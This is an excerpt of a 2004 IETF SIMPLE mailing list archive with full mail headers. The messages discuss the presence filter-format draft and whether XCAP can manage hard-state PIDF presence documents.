>>turns it into a 
>>
>>>>>protocol issue. In general I would consider this a bad 
>>
>>idea. But it 
>>
>>>>>is largely a human factors issue, and I don't feel qualified to 
>>>>>comment on it except from the perspective of personal 
>>
>>preference. But 
>>
>>>>>it seems that whole discussion hinges on whether there is a valid 
>>>>>requirement for giving senders that degree of control 
>>
>>over recipients.
>>
>>>>>    Paul
>>>>>
>>>>
>>>>
>>>>_______________________________________________
>>>>Simple mailing list
>>>>Simple@ietf.org
>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>
>>>

-- 
Miguel A. Garcia           tel:+358-50-4804586
Nokia Research Center      Helsinki, Finland


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 21:47:57 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22981
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 21:47:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMQQ-0003Ss-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:47:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyMPU-0003LK-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:47:01 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMOY-0003DG-00; Tue, 02 Mar 2004 21:46:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMOY-0004Sn-32; Tue, 02 Mar 2004 21:46:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMNY-0004R9-OD
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 21:45:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22868
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:44:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMNV-00034j-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:44:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyMMd-0002xj-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:44:03 -0500
Received: from web21506.mail.yahoo.com ([66.163.169.17])
	by ietf-mx with smtp (Exim 4.12)
	id 1AyMML-0002qf-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:43:45 -0500
Message-ID: <20040303024345.45603.qmail@web21506.mail.yahoo.com>
Received: from [192.75.88.231] by web21506.mail.yahoo.com via HTTP; Tue, 02 Mar 2004 18:43:45 PST
From: Rajesh Karunamurthy <rajesh_karunamurthy@yahoo.com>
To: simple@ietf.org
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="0-354865255-1078281825=:45262"
Subject: [Simple] Comment and Question on draft-ietf-simple-filter-format-00
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 18:43:45 -0800 (PST)
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.2 required=5.0 tests=AWL,HTML_MESSAGE autolearn=no 
	version=2.60

--0-354865255-1078281825=:45262
Content-Type: text/plain; charset=us-ascii
X-MIME-Autoconverted: from 8bit to quoted-printable by ietf.org id VAA22869
Content-Transfer-Encoding: quoted-printable

Hi,
=20
I have one comment and one Question about this draft
=20
Comment: In Section  6.6, when filtering the Presence Information of sip:=
bob@domain.com an include element is used. The closing tag for this <incl=
ude> element is given as </exclude> element, which is supposed to be </in=
clude>.
=20
Question: In section 6.5, the <filter> element does not have the uri attr=
ibute, does it mean that the Subscribe request will be addressed for a gr=
oup of friends( For E.g.: SUBSCRIBE sip:friends@game.com)?
=20
Thanks.
Rajesh
=20


---------------------------------
Do you Yahoo!?
Yahoo! Search - Find what you=92re looking for faster.
--0-354865255-1078281825=:45262
Content-Type: text/html; charset=us-ascii
X-MIME-Autoconverted: from 8bit to quoted-printable by ietf.org id VAA22869
Content-Transfer-Encoding: quoted-printable

<DIV>Hi,</DIV>
<DIV>&nbsp;</DIV>
<DIV>I have one comment and one Question about this draft</DIV>
<DIV>&nbsp;</DIV>
<DIV>Comment: In Section&nbsp;&nbsp;6.6,&nbsp;when&nbsp;filtering&nbsp;th=
e Presence Information of sip:bob@domain.com&nbsp;an include element is u=
sed. The closing tag&nbsp;for this &lt;include&gt; element is given as &l=
t;/exclude&gt; element, which is supposed to be &lt;/include&gt;.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Question: In section 6.5, the &lt;filter&gt; element does not have t=
he uri attribute, does it mean that the Subscribe request will be address=
ed for&nbsp;a group of&nbsp;friends(&nbsp;For E.g.: SUBSCRIBE sip:friends=
@game.com)?</DIV>
<DIV>&nbsp;</DIV>
<DIV>Thanks.</DIV>
<DIV>Rajesh</DIV>
<DIV>&nbsp;</DIV><p><hr SIZE=3D1>
Do you Yahoo!?<br>
Yahoo! Search - <a href=3D"http://search.yahoo.com/?fr=3Dad-mailsig-home"=
>Find what you=92re looking for faster.</a>
--0-354865255-1078281825=:45262--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 21:48:29 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA23007
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 21:48:29 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMQU-0004oq-3h
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 21:48:02 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i232m2OT018518
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 21:48:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMQT-0004ob-Uw
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 21:48:01 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22999
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 21:47:58 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMQQ-0003Sz-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:47:59 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyMPV-0003LR-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:47:02 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMOY-0003DG-00; Tue, 02 Mar 2004 21:46:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMOY-0004Sn-32; Tue, 02 Mar 2004 21:46:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMNY-0004R9-OD
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 21:45:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22868
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:44:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMNV-00034j-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:44:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyMMd-0002xj-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:44:03 -0500
Received: from web21506.mail.yahoo.com ([66.163.169.17])
	by ietf-mx with smtp (Exim 4.12)
	id 1AyMML-0002qf-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:43:45 -0500
Message-ID: <20040303024345.45603.qmail@web21506.mail.yahoo.com>
Received: from [192.75.88.231] by web21506.mail.yahoo.com via HTTP; Tue, 02 Mar 2004 18:43:45 PST
From: Rajesh Karunamurthy <rajesh_karunamurthy@yahoo.com>
To: simple@ietf.org
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="0-354865255-1078281825=:45262"
Subject: [Simple] Comment and Question on draft-ietf-simple-filter-format-00
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 18:43:45 -0800 (PST)
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL,HTML_MESSAGE autolearn=no 
	version=2.60

--0-354865255-1078281825=:45262
Content-Type: text/plain; charset=us-ascii
X-MIME-Autoconverted: from 8bit to quoted-printable by ietf.org id VAA22869
Content-Transfer-Encoding: quoted-printable

Hi,
=20
I have one comment and one Question about this draft
=20
Comment: In Section  6.6, when filtering the Presence Information of sip:=
bob@domain.com an include element is used. The closing tag for this <incl=
ude> element is given as </exclude> element, which is supposed to be </in=
clude>.
=20
Question: In section 6.5, the <filter> element does not have the uri attr=
ibute, does it mean that the Subscribe request will be addressed for a gr=
oup of friends( For E.g.: SUBSCRIBE sip:friends@game.com)?
=20
Thanks.
Rajesh
=20


---------------------------------
Do you Yahoo!?
Yahoo! Search - Find what you=92re looking for faster.
--0-354865255-1078281825=:45262
Content-Type: text/html; charset=us-ascii
X-MIME-Autoconverted: from 8bit to quoted-printable by ietf.org id VAA22869
Content-Transfer-Encoding: quoted-printable

<DIV>Hi,</DIV>
<DIV>&nbsp;</DIV>
<DIV>I have one comment and one Question about this draft</DIV>
<DIV>&nbsp;</DIV>
<DIV>Comment: In Section&nbsp;&nbsp;6.6,&nbsp;when&nbsp;filtering&nbsp;th=
e Presence Information of sip:bob@domain.com&nbsp;an include element is u=
sed. The closing tag&nbsp;for this &lt;include&gt; element is given as &l=
t;/exclude&gt; element, which is supposed to be &lt;/include&gt;.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Question: In section 6.5, the &lt;filter&gt; element does not have t=
he uri attribute, does it mean that the Subscribe request will be address=
ed for&nbsp;a group of&nbsp;friends(&nbsp;For E.g.: SUBSCRIBE sip:friends=
@game.com)?</DIV>
<DIV>&nbsp;</DIV>
<DIV>Thanks.</DIV>
<DIV>Rajesh</DIV>
<DIV>&nbsp;</DIV><p><hr SIZE=3D1>
Do you Yahoo!?<br>
Yahoo! Search - <a href=3D"http://search.yahoo.com/?fr=3Dad-mailsig-home"=
>Find what you=92re looking for faster.</a>
--0-354865255-1078281825=:45262--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 22:11:29 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA24440
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 22:11:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMnB-0007ec-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 22:11:29 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyMkm-000772-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 22:09:03 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMjy-0006zr-01; Tue, 02 Mar 2004 22:08:10 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyMj9-0000sd-WA; Tue, 02 Mar 2004 22:07:20 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMir-0006yD-IK; Tue, 02 Mar 2004 22:07:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMi4-0006sd-OG
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 22:06:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA24209
	for <simple@ietf.org>; Tue, 2 Mar 2004 22:06:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMi1-0006ew-00
	for simple@ietf.org; Tue, 02 Mar 2004 22:06:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyMh2-0006UL-00
	for simple@ietf.org; Tue, 02 Mar 2004 22:05:11 -0500
Received: from imr1.ericy.com ([198.24.6.9])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMgG-0006D5-00
	for simple@ietf.org; Tue, 02 Mar 2004 22:04:20 -0500
Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249])
	by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i2333hLc009697
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:03:43 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Tue, 2 Mar 2004 20:59:07 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <FGYMR2L4>; Tue, 2 Mar 2004 21:03:33 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C95C6@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400CB.FDF61802"
X-OriginalArrivalTime: 03 Mar 2004 02:59:07.0062 (UTC) FILETIME=[7E4E0560:01C400CB]
Subject: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comment
 s on draft-isomaki-simple-xcap-publish-usage-00)
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 21:02:42 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.6 required=5.0 tests=AWL,HTML_30_40,
	HTML_FONTCOLOR_BLUE,HTML_MESSAGE autolearn=no version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C400CB.FDF61802
Content-Type: text/plain;
	charset="iso-8859-1"

Hi Markus,
I would like to adrress the following statement below that I cut from the original exchange:
 
1)  First, a presentity can publish several PIDF documents using SIP PUBLISH. Then, she can have a single "hard state" PIDF document manipulated with XCAP. All of these can contain any number of tuples. All this is fed into magic called "event state compositor", which produces a single consistent presence document. The fact that the compositor logic has been left as implementation specific is a feature (or a deficiency) in SIMPLE, and this draft makes it no worse. I agree that there will be interoperability issues with how things with the composition definition are at the moment, but this draft does not cause the problem.
 
/gf
There is no  stand alone "hard state" PIDF document that is defined today that can be solely managed by XCAP.
XCAP requires an XML document with an XML schema to be able to properly verify operations.
What you have in mind, I think, is a number of tuples from various defined presence documents (PIDF, RPID, etc..) that you want to manage using XCAP.
 
Unless you create such a *stand alone* XMP document for hard states, I dont beleive that you can do what you want with XCAP, without creating interoperability problems, or open the door for abuses that would require complexities to overcome.
gf/
2) Based on this I assume PIDF would still be OK for XCAP as it is now.
 
This is where I beleive that what you want can only be done with a *new stand-alone* XML  document. For example, the XCAP framework requires the inclusion of the mandatory-ns element, if you would include in the XML document managed by XCAP, elements from other name spaces.
That today is not part of PIDF.  The tuples you want XCAP to manage are not part of PIDF, rather other presence documents.
So how would that work then.
 

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Tuesday, March 02, 2004 9:23 PM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)


Hi,
 
OK, this time I understood your points much better.
 
Comments starting with [MI] inline:

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 03:52
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)


Sorry, I had the wrong draft in the subject, but I meant the PIDF Manipulation draft.
Comments inline/gf

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Tuesday, March 02, 2004 8:24 PM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on draft-isomaki-simple-xcap-publish-usage-00


Hi George,
 
First of all, the document you are referring to has been updated with this one:
http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt <http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt> 
 
I'll submit the WG version shortly after the meeting. The changes compared to the version you read are mainly clarifications, so I think your comments would apply to the new draft as well. My anwers to each point below:
 
1) XCAP operations are hard state by nature, no refreshing is needed, so this is inherently hard state manipulation. 
/gf 
Agree, but how do you prevent users, from using XCAP from manipulating presence soft states.
I assume that all the presence tuples are part of the same presence document. 
Now you are advocating selective manipluation of some tuples and not others using XCAP.
Have I misunderstood something here ?
How will you enforce that ?
gf/
 
[MI] OK, I think I know what you mean. The model for how the final presence document is put together is shown in the draft in Chapter 3. First, a presentity can publish several PIDF documents using SIP PUBLISH. Then, she can have a single "hard state" PIDF document manipulated with XCAP. All of these can contain any number of tuples. All this is fed into magic called "event state compositor", which produces a single consistent presence document. The fact that the compositor logic has been left as implementation specific is a feature (or a deficiency) in SIMPLE, and this draft makes it no worse. I agree that there will be interoperability issues with how things with the composition definition are at the moment, but this draft does not cause the problem.
 
 2) The default model I have in mind is that each presentity would have exactly one persistent device-independent presence document that would be manipulated by XCAP. That would be fed to the composition logic to complement the PUA/device-specific documents published using SIP PUBLISH mechanism.  
XCAP is meant to be a generic XML-manipulation mechanism, so there should be nothing specific in this application usage. Once the base XCAP is finished, we'll see what the exact mechanisms to mandate supported namespaces are, and we'll adopt that convention in this draft too. This is probably still changing from xcap-02 draft, as was discussed in SIMPLE session.  
 
/gf
Not totally true
XCAP have a limited set of rules for HTTP URI creation.
So it is not meant for *any* XML document.
I think the XCAP framework is clear on that
You would need to expand those rules, which can complicate things quite a lot, not to mention slow things down, to make it more generic. 
gf/ 
 
[MI] I think you are right on this one, my previous statement was wrong. XCAP can have problems with handling *any* XML document, if the selector construction will be restricted to only limited number of possibilities. However, see Jonathan's mail attached to this mail. Based on this I assume PIDF would still be OK for XCAP as it is now.
 
3) I'm not sure if I understood the question. This is not a template for any applications that want to use XCAP, this is standardizing how XCAP is used to manipulate PIDF-formatted presence documents. As there is no computed data or anything, I guess an app usage for any XML doc would be quite similar to this one. 
 
/gf
For event packages we have a template that have to be filled by for anyone who wants to create a new event package.
So I am asking if your document presents a template, similar to the event package approach. (forget about the content for your application)
I am not sure if I am clear on that one. 
gf/ 
 
[MI] OK, I got the question, thanks. Yes, we tried to follow the structure/template how Jonathan has defined the other existing XCAP application usages. So it should be according to how XCAP AUs are ssupposed to be specified. 
 
4) Surely there are many ways to manipulate PIDF documents. However, in context of SIMPLE, XCAP is a natural choice since it's needed already in any advanced presence-capable device. Could you explain what kind of complexities you mean? This is as simple an XCAP usage as there can be. Are you saying that XCAP in itself is complex? A more simple way would be to use just normal HTTP PUT and DELETE, but since we have XCAP at our disposal, why not use it. 
 
/gf
The complexities will arise if we allow users to do selective manipulation, using XCAP, for certain tuples *only*, and using PUBLISH for the remaining tuples.
So I need to see your answer first to my response to your first  bullet before I go further
 gf/ 
 
[MI] As I explained above, you can already PUBLISH several documents and there has to be a way to do composition. So the complexity is already inbuilt in SIMPLE, it is not in this sense extended here.
 
Markus

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 02:47
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on draft-isomaki-simple-xcap-publish-usage-00




Hi Markus, 

I have some comments on your draft: 

1) Although you indicate that this should be used only for hard states, what is there to prevent users from manipulating other presence states in there through XCAP.

2) XCAP is meant to be used for documents that are created to take advantage of the defined XCAP rules for HTTP URI creation. Which XML presence documents in particular are you proposing that they get manipulated by XCAP.  

How do you ensure that the current XCAP rules are suffiicient for the purpose you have in mind. I also doubt that you can use the current XML presence documents (PIDF and extensions) for XCAP purposes as is. For example, should there not be the element mandatory-ns, in there, as per the XCAP framework.

3) Is this template meant to be a generic template to be used by all applications that want to use XCAP. 

4) Finally, I believe that there are other, out-of-band means, to accomplish your goals, i.e. manipulate hard states, without the unwarranted complexities that the draft creates. Thus, there must be explicit references in the draft to that fact.  

/gf 
Ericsson Canada 



This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof. 



This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof. 

 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

------_=_NextPart_001_01C400CB.FDF61802
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>Comments on draft-isomaki-simple-xcap-publish-usage-00</TITLE>

<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
class=769514202-03032004>Hi Markus,</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT><FONT><FONT><FONT><FONT face=Arial color=#0000ff size=2><SPAN 
class=769514202-03032004>I would like to adrress the following statement below 
that I cut from the original 
exchange:</SPAN></FONT></FONT></FONT></FONT></FONT></DIV>
<DIV><FONT><FONT><FONT><FONT><FONT face=Arial color=#0000ff size=2><SPAN 
class=769514202-03032004>&nbsp;</SPAN></FONT></FONT></FONT></FONT></FONT></DIV>
<DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
class=769514202-03032004>1)&nbsp; </SPAN>First,&nbsp;a presentity can publish 
several PIDF documents using SIP PUBLISH. Then, she can have a single "hard 
state" PIDF&nbsp;document manipulated with XCAP. All of these can contain any 
number of tuples. All this is fed into magic called "event state compositor", 
which produces a single consistent presence document. The fact that the 
compositor logic has been left as implementation specific is a feature (or a 
deficiency) in SIMPLE, and this draft makes it no worse. I agree that there will 
be interoperability issues with how things with the composition definition are 
at the moment, but this draft does not cause the 
problem.</FONT></FONT></FONT></DIV>
<DIV><FONT face=Arial color=#0000ff size=2><SPAN 
class=769514202-03032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=Arial color=#0000ff size=2><SPAN 
class=769514202-03032004>/gf</SPAN></FONT></DIV>
<DIV><FONT face=Arial color=#0000ff size=2><SPAN class=769514202-03032004>There 
is no&nbsp; stand alone "hard state" PIDF document that is defined today that 
can be solely managed by XCAP.</SPAN></FONT></DIV>
<DIV><FONT face=Arial color=#0000ff size=2><SPAN class=769514202-03032004>XCAP 
requires an XML document with an XML schema to be able to properly verify 
operations.</SPAN></FONT></DIV>
<DIV><FONT face=Arial color=#0000ff size=2><SPAN class=769514202-03032004>What 
you have in mind, I think, is a number of tuples from various defined presence 
documents&nbsp;(PIDF, RPID, etc..) that you&nbsp;want to manage using 
XCAP.</SPAN></FONT></DIV>
<DIV><FONT face=Arial color=#0000ff size=2><SPAN 
class=769514202-03032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=Arial color=#0000ff size=2><SPAN class=769514202-03032004>Unless 
you create such a&nbsp;*stand alone* XMP document for hard states, I dont 
beleive that you can do what you want with XCAP, without creating 
interoperability problems, or open the door for abuses that would require 
complexities to overcome.</SPAN></FONT></DIV>
<DIV><FONT face=Arial color=#0000ff size=2><SPAN 
class=769514202-03032004></SPAN></FONT><FONT face=Arial color=#0000ff 
size=2><SPAN class=769514202-03032004></SPAN></FONT><FONT face=Arial 
color=#0000ff size=2><SPAN class=769514202-03032004>gf/</SPAN></FONT></DIV>
<DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff size=2>2) 
Based on this I assume PIDF would still be OK for XCAP as it is 
now.</FONT></SPAN></DIV>
<DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff size=2>This 
is where I beleive that what you want can only be done with a *new stand-alone* 
XML &nbsp;document. For&nbsp;example, the XCAP&nbsp;framework requires the 
inclusion of the mandatory-ns element, if you would include in the XML document 
managed by XCAP, elements from other name spaces.</FONT></SPAN></DIV>
<DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff size=2>That 
today is not part of PIDF.&nbsp; The tuples you want XCAP to manage are not part 
of PIDF, rather other presence documents.</FONT></SPAN></DIV>
<DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff size=2>So how 
would that work then.</FONT></SPAN></DIV>
<DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<BLOCKQUOTE dir=ltr 
style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid; MARGIN-RIGHT: 0px">
  <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Markus.Isomaki@nokia.com 
  [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Tuesday, March 02, 2004 9:23 
  PM<BR><B>To:</B> George Foti (QA/EMC); simple@ietf.org<BR><B>Subject:</B> RE: 
  Comments on PIDF-Manipulation Usage-00draft (was RE: Comments on 
  draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
  <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
  size=2>Hi,</FONT></SPAN></DIV>
  <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
